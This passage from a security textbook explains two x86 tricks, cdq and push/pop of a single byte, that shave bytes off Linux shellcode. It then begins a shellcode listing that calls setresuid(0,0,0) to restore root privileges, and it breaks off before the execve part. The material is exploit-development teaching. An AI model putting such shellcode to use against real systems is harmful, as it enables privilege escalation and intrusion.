Graphics Programs Reference
In-Depth Information
0x532
And Smaller Still
A few more bytes can still be shaved off this shellcode. There is a single-byte
x 86 instruction called cdq , which stands for convert doubleword to quadword .
Instead of using operands, this instruction always gets its source from the
EAX register and stores the results between the EDX and EAX registers. Since
the registers are 32-bit doublewords, it takes two registers to store a 64-bit
quadword. The conversion is simply a matter of extending the sign bit from a
32-bit integer to 64-bit integer. Operationally, this means if the sign bit of EAX
is 0 , the cdq instruction will zero the EDX register. Using xor to zero the EDX
register requires two bytes; so, if EAX is already zeroed, using the cdq instruction
to zero EDX will save one byte
31 D2 xor edx,edx
compared to
99 cdq
Another byte can be saved with clever use of the stack. Since the stack is
32-bit aligned, a single byte value pushed to the stack will be aligned as a
doubleword. When this value is popped off, it will be sign-extended, filling
the entire register. The instructions that push a single byte and pop it back
into a register take three bytes, while using xor to zero the register and moving
a single byte takes four bytes
31 C0 xor eax,eax
B0 0B mov al,0xb
compared to
6A 0B push byte +0xb
58 pop eax
These tricks (shown in bold) are used in the following shellcode listing.
This assembles into the same shellcode as that used in the previous chapters.
shellcode.s
BITS 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; Zero out eax.
xor ebx, ebx ; Zero out ebx.
xor ecx, ecx ; Zero out ecx.
cdq ; Zero out edx using the sign bit from eax.
mov BYTE al, 0xa4 ; syscall 164 (0xa4)
int 0x80 ; setresuid(0, 0, 0) Restore all root privs.
; execve(const char *filename, char *const argv [], char *const envp[])
Search WWH ::




Custom Search